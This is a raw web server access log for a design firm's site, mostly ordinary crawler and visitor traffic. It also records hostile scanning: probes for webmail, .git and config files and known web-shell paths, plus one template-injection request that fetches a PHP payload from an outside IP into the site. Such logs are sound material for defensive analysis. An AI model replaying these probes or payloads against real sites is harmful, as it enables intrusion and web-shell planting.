/signin HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.36" 136.0.141.213 - - [23/Apr/2025:09:32:47 -0400] "GET /owa HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2224.3 Safari/537.36" 136.0.141.213 - - [23/Apr/2025:09:32:54 -0400] "GET /myaccount HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2224.3 Safari/537.36" 136.0.141.213 - - [23/Apr/2025:09:33:00 -0400] "GET /account HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2224.3 Safari/537.36" 43.153.35.128 - - [23/Apr/2025:10:14:34 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 45.84.107.182 - - [23/Apr/2025:10:15:44 -0400] "GET / HTTP/1.1" 301 795 "designpitara.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" 222.186.57.126 - - [23/Apr/2025:10:46:38 -0400] "GET /kindEditor/asp.net/upload_json.ashx?dir=file HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0" 66.249.79.105 - - [23/Apr/2025:10:53:20 -0400] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 66.249.79.106 - - [23/Apr/2025:10:53:21 -0400] "GET /images/social/Social_by_Deisgn_Pitara_01.jpg HTTP/1.1" 301 795 "-" "Googlebot-Image/1.0" 162.62.213.165 - - [23/Apr/2025:11:58:46 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 154.83.103.205 - - [23/Apr/2025:12:11:37 -0400] "GET /.git/HEAD HTTP/1.1" 403 1242 "-" "-" 154.83.103.205 - - [23/Apr/2025:12:11:38 -0400] "GET /.circleci/configs/development.yml HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 54.236.1.13 - - [23/Apr/2025:12:36:05 -0400] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; Pinterestbot/1.0; +http://www.pinterest.com/bot.html)" 54.236.1.13 - - [23/Apr/2025:12:36:05 -0400] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; Pinterestbot/1.0; +http://www.pinterest.com/bot.html)" 54.236.1.11 - - [23/Apr/2025:12:36:14 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; Pinterestbot/1.0; +http://www.pinterest.com/bot.html)" 196.251.80.216 - - [23/Apr/2025:12:53:09 -0400] "POST /wp-plain.php HTTP/1.1" 301 795 "www.google.com" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 196.251.80.216 - - [23/Apr/2025:12:53:09 -0400] "POST /ALFA_DATA/alfacgiapi/perl.alfa HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 196.251.80.216 - - [23/Apr/2025:12:53:09 -0400] "GET /wp-content/themes/seotheme/db.php?u HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 196.251.80.216 - - [23/Apr/2025:12:53:09 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 196.251.80.216 - - [23/Apr/2025:12:53:09 -0400] "GET /wp-content/plugins/fix/up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36" 196.251.80.216 - - [23/Apr/2025:12:53:11 -0400] "POST /alfacgiapi/perl.alfa HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 222.79.104.23 - - [23/Apr/2025:12:54:59 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 101.224.171.161 - - [23/Apr/2025:13:28:10 -0400] "GET /about-us HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36 Edg/126.0.0.0" 51.222.253.14 - - [23/Apr/2025:14:53:52 -0400] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; AhrefsBot/7.0; +http://ahrefs.com/robot/)" 17.241.75.251 - - [23/Apr/2025:16:31:27 -0400] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.4 Safari/605.1.15 (Applebot/0.1; +http://www.apple.com/go/applebot)" 17.241.75.251 - - [23/Apr/2025:16:31:34 -0400] "GET /infographic-resume HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.4 Safari/605.1.15 (Applebot/0.1; +http://www.apple.com/go/applebot)" 196.244.192.13 - - [23/Apr/2025:16:46:43 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0) chromeframe/10.0.648.205" 196.244.192.14 - - [23/Apr/2025:16:46:51 -0400] "POST /trackback HTTP/1.1" 301 795 "https://tyny.me/" "Mozilla/5.0 (Windows NT 5.1; U; en; rv:1.8.1) Gecko/20061208 Firefox/5.0 Opera 11.11" 43.166.128.187 - - [23/Apr/2025:16:49:23 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 185.21.13.119 - - [23/Apr/2025:16:51:43 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36" 13.52.213.66 - - [23/Apr/2025:17:03:26 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36" 13.126.43.216 - - [23/Apr/2025:17:26:07 -0400] "HEAD /wordpress HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 13.126.43.216 - - [23/Apr/2025:17:26:20 -0400] "HEAD / HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 13.126.43.216 - - [23/Apr/2025:17:26:30 -0400] "HEAD /wp HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 13.126.43.216 - - [23/Apr/2025:17:26:36 -0400] "HEAD /bc HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 13.126.43.216 - - [23/Apr/2025:17:26:46 -0400] "HEAD /bk HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 13.126.43.216 - - [23/Apr/2025:17:27:00 -0400] "HEAD /backup HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 13.126.43.216 - - [23/Apr/2025:17:27:13 -0400] "HEAD /old HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 13.126.43.216 - - [23/Apr/2025:17:27:25 -0400] "HEAD /new HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 13.126.43.216 - - [23/Apr/2025:17:27:35 -0400] "HEAD /main HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 13.126.43.216 - - [23/Apr/2025:17:27:42 -0400] "HEAD /home HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 136.0.141.213 - - [23/Apr/2025:17:37:39 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36" 136.0.141.213 - - [23/Apr/2025:17:37:56 -0400] "GET /mail HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.1 Safari/537.36" 150.158.45.102 - - [23/Apr/2025:17:37:58 -0400] "GET /?tag&tagstpl=news.html&tag=%7Bpbohome/Indexot:if((get/*-*/(/**/t))/**/(get/*-*/(/**/t1),get/*-*/(/**/t2)(get/*-*/(/**/t3))))%7Dok%7B/pbohome/Indexot:if%7D&t=file_put_contents&t1=runtime/complile/cc.php&t2=file_get_contents&t3=http://1.14.123.164/php.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0" 136.0.141.213 - - [23/Apr/2025:17:38:05 -0400] "GET /webmail HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2225.0 Safari/537.36" 136.0.141.213 - - [23/Apr/2025:17:38:18 -0400] "GET /login HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.36" 136.0.141.213 - - [23/Apr/2025:17:38:28 -0400] "GET /signin HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.1 Safari/537.36" 136.0.141.213 - - [23/Apr/2025:17:38:39 -0400] "GET /owa HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.36" 136.0.141.213 - - [23/Apr/2025:17:38:47 -0400] "GET /myaccount HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2225.0 Safari/537.36" 136.0.141.213 - - [23/Apr/2025:17:38:58 -0400] "GET /account HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36" 180.110.203.108 - - [23/Apr/2025:17:44:43 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 156.228.177.52 - - [23/Apr/2025:18:00:02 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36 Vivaldi/5.3.2679.68" 2a02:9b0:406f:129a:1838:ddfb:4844:d4b3 - - [23/Apr/2025:18:08:27 -0400] "GET /onsfvsx.php?jfty=jfty HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) SamsungBrowser/27.0 Chrome/125.0.0.0 Mobile Safari/537.36" 43.135.182.43 - - [23/Apr/2025:18:23:28 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 196.251.72.127 - - [23/Apr/2025:18:33:03 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 8.0.0; BLA-L29) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.111 Mobile Safari/537.36" 194.38.23.16 - - [23/Apr/2025:18:36:58 -0400] "GET /sites/all/modules/elfinder/connectors/php/connector.php HTTP/1.1" 301 795 "-" "ALittle Client" 195.191.219.133 - - [23/Apr/2025:18:51:15 -0400] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MJ12bot/v2.0.0; http://mj12bot.com/)" 195.191.219.133 - - [23/Apr/2025:18:51:19 -0400] "GET /category/digital-marketing HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MJ12bot/v2.0.0; http://mj12bot.com/)" 195.191.219.133 - - [23/Apr/2025:18:51:25 -0400] "GET /local-seo-services HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MJ12bot/v2.0.0; http://mj12bot.com/)" 188.130.185.181 - - [23/Apr/2025:18:58:49 -0400] "GET / HTTP/1.1" 301 795 "http://designpitara.com/" "Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36" 216.244.66.237 - - [23/Apr/2025:19:13:05 -0400] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; DotBot/1.2; +https://opensiteexplorer.org/dotbot; help@moz.com)" 34.1.20.238 - - [23/Apr/2025:20:01:56 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko; compatible; BW/1.3; rb.gy/qyzae5) Chrome/124.0.0.0 Safari/537.36" 66.249.79.96 - - [23/Apr/2025:20:06:10 -0400] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 66.249.79.106 - - [23/Apr/2025:20:06:12 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 146.120.161.147 - - [23/Apr/2025:21:33:19 -0400] "GET / HTTP/1.1" 301 795 "http://designpitara.com/" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36" 34.221.193.203 - - [23/Apr/2025:21:55:08 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36" 40.69.36.158 - - [23/Apr/2025:21:55:50 -0400] "GET /wp-includes/block-bindings/ HTTP/1.1" 301 795 "-" "-" 40.69.36.158 - - [23/Apr/2025:21:55:54 -0400] "GET /wp-content/themes/pridmag/ HTTP/1.1" 301 795 "-" "-" 40.69.36.158 - - [23/Apr/2025:21:55:55 -0400] "GET /wp-setting.php HTTP/1.1" 301 795 "-" "-" 40.69.36.158 - - [23/Apr/2025:21:55:58 -0400] "GET /wp-content/themes/alera/ HTTP/1.1" 301 795 "-" "-" 40.69.36.158 - - [23/Apr/2025:21:56:00 -0400] "GET /wp-content/plugins/elementor/assets/images/app/ HTTP/1.1" 301 795 "-" "-" 40.69.36.158 - - [23/Apr/2025:21:56:02 -0400] "GET /wp-comments-pos.php HTTP/1.1" 301 795 "-" "-" 40.69.36.158 - - [23/Apr/2025:21:56:05 -0400] "GET /wp-content/themes/ripro/inc/admin/ HTTP/1.1" 301 795 "-" "-" 40.69.36.158 - - [23/Apr/2025:21:56:06 -0400] "GET /wp-includes/l10n/ HTTP/1.1" 301 795 "-" "-" 40.69.36.158 - - [23/Apr/2025:21:56:09 -0400] "GET /index/b/home/h213348220/fundlead.ru/docs/wp-admin/includes/ HTTP/1.1" 301 795 "-" "-" 40.69.36.158 - - [23/Apr/2025:21:56:13 -0400] "GET /wp-includes/blocks/archives/ HTTP/1.1" 301 795 "-" "-" 40.69.36.158 - - [23/Apr/2025:21:56:17 -0400] "GET /wp-includes/sodium_compat/namespaced/ HTTP/1.1" 301 795 "-" "-" 40.69.36.158 - - [23/Apr/2025:21:56:19 -0400] "GET /wp-includes/blocks/latest-comments/ HTTP/1.1" 301 795 "-" "-" 40.69.36.158 - - [23/Apr/2025:21:56:22 -0400] "GET /wp-content/plugins/woocommerce/assets/client/blocks/products-by-attribute/ HTTP/1.1" 301 795 "-" "-" 40.69.36.158 - - [23/Apr/2025:21:56:25 -0400] "GET /wp-content/uploads/2023/03/ HTTP/1.1" 301 795 "-" "-" 40.69.36.158 - - [23/Apr/2025:21:56:27 -0400] "GET /wp-content/themes/seotheme/ HTTP/1.1" 301 795 "-" "-" 40.69.36.158 - - [23/Apr/2025:21:56:31 -0400] "GET /Content/UserFiles/News/Orjinal/ HTTP/1.1" 301 795 "-" "-" 40.69.36.158 - - [23/Apr/2025:21:56:34 -0400] "GET /wp-content/themes/sketch/ HTTP/1.1" 301 795 "-" "-" 40.69.36.158 - - [23/Apr/2025:21:56:37 -0400] "GET /wp-includes/images/wlw/ HTTP/1.1" 301 795 "-" "-" 40.69.36.158 - - [23/Apr/2025:21:56:39 -0400] "GET /templates/p/snippets/g8ofh3h3db/raw/ HTTP/1.1" 301 795 "-" "-" 40.69.36.158 - - [23/Apr/2025:21:56:42 -0400] "GET /wp-content/ HTTP/1.1" 301 795 "-" "-" 40.69.36.158 - - [23/Apr/2025:21:56:44 -0400] "GET /wp-content/plugins/elementor/assets/images/ HTTP/1.1" 301 795 "-" "-" 40.69.36.158 - - [23/Apr/2025:21:56:47 -0400] "GET /wp-includes/images/ HTTP/1.1" 301 795 "-" "-" 40.69.36.158 - - [23/Apr/2025:21:56:51 -0400] "GET /wp-link.php/wp-content/plugins/wp-content/uploads/wp_live_chat/ HTTP/1.1" 301 795 "-" "-" 40.69.36.158 - - [23/Apr/2025:21:56:56 -0400] "GET /wp-cro.php/ HTTP/1.1" 301 795 "-" "-" 40.69.36.158 - - [23/Apr/2025:21:56:58 -0400] "GET /wp-includes/Requests/abou.php/ HTTP/1.1" 301 795 "-" "-" 40.69.36.158 - - [23/Apr/2025:21:57:01 -0400] "GET /wordpress/wp-includes/js/mediaelement/renderers/ HTTP/1.1" 301 795 "-" "-" 40.69.36.158 - - [23/Apr/2025:21:57:04 -0400] "GET /wp-content/plugins/oxygen/component-framework/components/classes/gallery/photoswipe/ HTTP/1.1" 301 795 "-" "-" 40.69.36.158 - - [23/Apr/2025:21:57:07 -0400] "GET /map.php HTTP/1.1" 301 795 "-" "-" 40.69.36.158 - - [23/Apr/2025:21:57:12 -0400] "GET /wp-includes/block-patterns/ HTTP/1.1" 301 795 "-" "-" 40.69.36.158 - - [23/Apr/2025:21:57:16 -0400] "GET /wp-content/plugins/elementor-pro/modules/woocommerce/skins/ HTTP/1.1" 301 795 "-" "-" 40.69.36.158 - - [23/Apr/2025:21:57:20 -0400] "GET /wp-content/plugins/seo-by-rank-math/vendor/woocommerce/ HTTP/1.1" 301 795 "-" "-" 40.69.36.158 - - [23/Apr/2025:21:57:24 -0400] "GET /wp-admin/css/colors/sunrise/ HTTP/1.1" 301 795 "-" "-" 40.69.36.158 - - [23/Apr/2025:21:57:26 -0400] "GET /wp-content/plugins/ultimate-addons-for-gutenberg/blocks-config/uagb-controls/ HTTP/1.1" 301 795 "-" "-" 40.69.36.158 - - [23/Apr/2025:21:57:29 -0400] "GET /wp-includes/rest-api/ HTTP/1.1" 301 795 "-" "-" 40.69.36.158 - - [23/Apr/2025:21:57:32 -0400] "GET /wp-content/themes/twenty/ HTTP/1.1" 301 795 "-" "-" 40.69.36.158 - - [23/Apr/2025:21:57:34 -0400] "GET /wp-includes/js/tinymce/themes/inlite/ HTTP/1.1" 301 795 "-" "-" 40.69.36.158 - - [23/Apr/2025:21:57:37 -0400] "GET /wp-includes/blocks/ HTTP/1.1" 301 795 "-" "-" 40.69.36.158 - - [23/Apr/2025:21:57:39 -0400] "GET /wp-content/themes/ HTTP/1.1" 301 795 "-" "-" 40.69.36.158 - - [23/Apr/2025:21:57:41 -0400] "GET /newlms/assets/frontend/ HTTP/1.1" 301 795 "-" "-" 40.69.36.158 - - [23/Apr/2025:21:57:42 -0400] "GET /wp-includes/theme-compat/ HTTP/1.1" 301 795 "-" "-" 40.69.36.158 - - [23/Apr/2025:21:57:44 -0400] "GET /wp-content/plugins/shell/ HTTP/1.1" 301 795 "-" "-" 40.69.36.158 - - [23/Apr/2025:21:57:47 -0400] "GET /wp-content/themes/blocksy/static/sass/frontend/6-layout/entries/ HTTP/1.1" 301 795 "-" "-" 40.69.36.158 - - [23/Apr/2025:21:57:49 -0400] "GET /wp-admin/images/ HTTP/1.1" 301 795 "-" "-" 40.69.36.158 - - [23/Apr/2025:21:57:51 -0400] "GET /wp-includes/Requests/abou.php/ HTTP/1.1" 301 795 "-" "-" 40.69.36.158 - - [23/Apr/2025:21:57:54 -0400] "GET /wp/wp-content/themes/twentytwenty/template-parts/ HTTP/1.1" 301 795 "-" "-" 40.69.36.158 - - [23/Apr/2025:21:57:56 -0400] "GET /wp-includes/js/dist/ HTTP/1.1" 301 795 "-" "-" 40.69.36.158 - - [23/Apr/2025:21:57:58 -0400] "GET /wp-includes/ID3/ HTTP/1.1" 301 795 "-" "-" 40.69.36.158 - - [23/Apr/2025:21:58:01 -0400] "GET /wp-content/plugins/erinyani/ HTTP/1.1" 301 795 "-" "-" 40.69.36.158 - - [23/Apr/2025:21:58:06 -0400] "GET /wp-content/plugins/wordpress-seo/vendor_prefixed/symfony/ HTTP/1.1" 301 795 "-" "-" 40.69.36.158 - - [23/Apr/2025:21:58:10 -0400] "GET /admin/ HTTP/1.1" 301 795 "-" "-" 40.69.36.158 - - [23/Apr/2025:21:58:13 -0400] "GET /.well-known/acme-challenge/action=./ HTTP/1.1" 301 795 "-" "-" 40.69.36.158 - - [23/Apr/2025:21:58:17 -0400] "GET /wp-includes/images/smilies/ HTTP/1.1" 301 795 "-" "-" 40.69.36.158 - - [23/Apr/2025:21:58:19 -0400] "GET /vendor/symfony/serializer/Mapping/ HTTP/1.1" 301 795 "-" "-" 40.69.36.158 - - [23/Apr/2025:21:58:22 -0400] "GET /wp-content/themes/blocksy/ HTTP/1.1" 301 795 "-" "-" 40.69.36.158 - - [23/Apr/2025:21:58:26 -0400] "GET /wp-includes/sodium_compat/ HTTP/1.1" 301 795 "-" "-" 40.69.36.158 - - [23/Apr/2025:21:58:30 -0400] "GET /assets/admin/plugins/ckeditor/plugins/scayt/dialogs/dialogs/ HTTP/1.1" 301 795 "-" "-" 40.69.36.158 - - [23/Apr/2025:21:58:36 -0400] "GET /wp-includes/interactivity-api/ HTTP/1.1" 301 795 "-" "-" 40.69.36.158 - - [23/Apr/2025:21:58:39 -0400] "GET /wp-admin/network/ HTTP/1.1" 301 795 "-" "-" 40.69.36.158 - - [23/Apr/2025:21:58:42 -0400] "GET /wp-includes/js/tinymce/plugins/image/ HTTP/1.1" 301 795 "-" "-" 40.69.36.158 - - [23/Apr/2025:21:58:45 -0400] "GET /wp-includes/Requests/Response/ HTTP/1.1" 301 795 "-" "-" 40.69.36.158 - - [23/Apr/2025:21:58:49 -0400] "GET /wp-includes/SimplePie/ HTTP/1.1" 301 795 "-" "-" 40.69.36.158 - - [23/Apr/2025:21:58:53 -0400] "GET /files/ HTTP/1.1" 301 795 "-" "-" 40.69.36.158 - - [23/Apr/2025:21:58:57 -0400] "GET /wp-includes/Text/Diff/Engine/ HTTP/1.1" 301 795 "-" "-" 40.69.36.158 - - [23/Apr/2025:21:59:02 -0400] "GET /wp-includes/SimplePie/HTTP/ HTTP/1.1" 301 795 "-" "-" 40.69.36.158 - - [23/Apr/2025:21:59:06 -0400] "GET /wp-content/uploads/2023/ HTTP/1.1" 301 795 "-" "-" 40.69.36.158 - - [23/Apr/2025:21:59:13 -0400] "GET /wp-content/plugins/woocommerce/includes/gateways/ HTTP/1.1" 301 795 "-" "-" 40.69.36.158 - - [23/Apr/2025:21:59:16 -0400] "GET /wp-admin/ HTTP/1.1" 301 795 "-" "-" 40.69.36.158 - - [23/Apr/2025:21:59:19 -0400] "GET /wp-content/fonts//wp-content/fonts/ HTTP/1.1" 301 795 "-" "-" 40.69.36.158 - - [23/Apr/2025:21:59:21 -0400] "GET /images/icons/rouyg/hppd/ HTTP/1.1" 301 795 "-" "-" 40.69.36.158 - - [23/Apr/2025:21:59:25 -0400] "GET /wp-includes/blocks/freeform/ HTTP/1.1" 301 795 "-" "-" 40.69.36.158 - - [23/Apr/2025:21:59:28 -0400] "GET /wp-content/plugins/insert-headers-and-footers/includes/auto-insert/ HTTP/1.1" 301 795 "-" "-" 40.69.36.158 - - [23/Apr/2025:21:59:31 -0400] "GET /wp-content/upgrade/ HTTP/1.1" 301 795 "-" "-" 40.69.36.158 - - [23/Apr/2025:21:59:34 -0400] "GET /wp-content/themes/twentytwenty/ HTTP/1.1" 301 795 "-" "-" 40.69.36.158 - - [23/Apr/2025:21:59:38 -0400] "GET /wp-content/plugins/ HTTP/1.1" 301 795 "-" "-" 40.69.36.158 - - [23/Apr/2025:21:59:42 -0400] "GET /wp-includesmaps/p/snippets/g8ofh3h3db/raw/ HTTP/1.1" 301 795 "-" "-" 40.69.36.158 - - [23/Apr/2025:21:59:47 -0400] "GET /wp-content/plugins/file-manager-advanced/application/library/codemirror/mode/jsx/ HTTP/1.1" 301 795 "-" "-" 40.69.36.158 - - [23/Apr/2025:21:59:52 -0400] "GET /templates/ja_purity/ HTTP/1.1" 301 795 "-" "-" 40.69.36.158 - - [23/Apr/2025:21:59:57 -0400] "GET /wp-admin/css/colors/light/ HTTP/1.1" 301 795 "-" "-" 40.69.36.158 - - [23/Apr/2025:22:00:01 -0400] "GET /cgi-bin/ HTTP/1.1" 301 795 "-" "-" 40.69.36.158 - - [23/Apr/2025:22:00:05 -0400] "GET /wp-includes/assets/ HTTP/1.1" 301 795 "-" "-" 40.69.36.158 - - [23/Apr/2025:22:00:11 -0400] "GET /wp-admin/css/colors/ HTTP/1.1" 301 795 "-" "-" 91.84.110.151 - - [23/Apr/2025:22:00:11 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36" 40.69.36.158 - - [23/Apr/2025:22:00:16 -0400] "GET /wp-content/plugins/generateblocks/src/components/unit-picker/ HTTP/1.1" 301 795 "-" "-" 40.69.36.158 - - [23/Apr/2025:22:00:24 -0400] "GET /wp-includesmaps/ HTTP/1.1" 301 795 "-" "-" 40.69.36.158 - - [23/Apr/2025:22:00:28 -0400] "GET /wp-include.php HTTP/1.1" 301 795 "-" "-" 40.69.36.158 - - [23/Apr/2025:22:00:33 -0400] "GET /wp-includes/css/ HTTP/1.1" 301 795 "-" "-" 40.69.36.158 - - [23/Apr/2025:22:00:38 -0400] "GET /sos/NewTheme/images/VillagesPictures/Dhodial/Dhodial/ HTTP/1.1" 301 795 "-" "-" 40.69.36.158 - - [23/Apr/2025:22:00:45 -0400] "GET /wp-includes/css/dist/block-library/ HTTP/1.1" 301 795 "-" "-" 40.69.36.158 - - [23/Apr/2025:22:00:52 -0400] "GET /wp-admin/css/ HTTP/1.1" 301 795 "-" "-" 40.69.36.158 - - 